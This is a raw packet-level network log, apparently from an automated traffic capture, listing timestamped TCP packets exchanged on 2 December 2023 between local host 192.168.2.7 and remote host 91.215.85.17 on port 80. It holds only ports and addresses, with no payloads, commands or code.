Dec 2, 2023 18:01:42.627784967 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627789974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627799988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627805948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627840996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627859116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627883911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627897024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627912045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627926111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627938032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627947092 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627950907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627965927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.627966881 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.627986908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628000021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628011942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628011942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628046036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628386021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628398895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628411055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628422976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628433943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628449917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628449917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628449917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628452063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628464937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628479004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628485918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628495932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628496885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628504992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628510952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628516912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628524065 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628530025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628536940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628549099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628555059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628557920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628571987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628582001 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628624916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628626108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628639936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628653049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628665924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628670931 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628679037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628700972 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628705025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628719091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628730059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628761053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628761053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.628882885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.628895998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.629060030 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.629283905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.629296064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.629307985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.629369974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.629369974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.830629110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.830645084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.830657959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.830670118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.830682039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.831207991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.831207991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.831228018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.831243038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.831940889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.831940889 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:42.857654095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:42.910945892 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.052815914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.052815914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.282274008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.299128056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.347826958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.380614996 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.380696058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.610572100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632440090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632448912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632456064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632464886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632472038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632479906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632493973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632502079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632509947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632517099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632525921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632534981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632546902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632597923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632597923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632597923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632733107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632741928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632747889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632761002 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632806063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632814884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632822990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632831097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632842064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632852077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632858992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632870913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632920980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632920980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632920980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.632960081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632968903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632976055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632987976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.632996082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633003950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633012056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633018970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633027077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633033991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633037090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633042097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633050919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633059025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633060932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633066893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633110046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633110046 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633111000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633188963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633199930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633210897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633223057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633229017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633235931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633249998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633259058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633268118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633270979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633270979 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633276939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633289099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633295059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633301973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633308887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633315086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633322954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633354902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633354902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633354902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633383036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633392096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633399963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633407116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633414030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633420944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633429050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633435965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633447886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633455038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633479118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633479118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633497000 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633510113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633517981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633524895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633538008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633544922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633553982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633614063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633614063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633644104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633651972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633658886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633671045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633677959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633685112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633691072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633697987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633703947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633712053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633716106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633728981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633737087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633744955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633763075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633778095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633786917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633797884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633812904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633812904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633812904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633917093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633924961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633930922 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633946896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633954048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633960009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633968115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633974075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633982897 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633991003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.633994102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633994102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633994102 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.633999109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634010077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634017944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634025097 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634032011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634038925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634058952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634058952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634058952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634170055 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634196043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634203911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634212971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634226084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634282112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634290934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634293079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634299040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634306908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634314060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634320974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634327888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634337902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634345055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634351969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634358883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634366035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634378910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634386063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634387016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634387016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634387016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634394884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634404898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634412050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634418964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634427071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634434938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634447098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634471893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634471893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634471893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634550095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634557009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634562969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634563923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634562969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634563923 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634574890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634583950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634591103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634598017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634603977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634612083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634620905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634629011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634629965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634629965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634635925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634648085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634660006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634666920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634666920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634675026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634682894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634690046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634732962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634732962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634732962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634763002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634777069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634787083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634793997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634799957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634820938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634820938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634838104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634845972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634852886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634862900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634886980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634886980 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634932041 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.634962082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634970903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634977102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634989023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.634995937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635003090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635010958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635018110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635025978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635031939 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635040045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635073900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635073900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635082006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635091066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635099888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635107040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635113955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635139942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635139942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635139942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635164022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635171890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635184050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635196924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635205030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635238886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635238886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635261059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635270119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635288000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635294914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635303020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635341883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635341883 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635400057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:43.635423899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635432959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635442972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635457039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635464907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635473013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635481119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:43.635488987 CET	80	49713	91.215.85.17	192.168.2.7
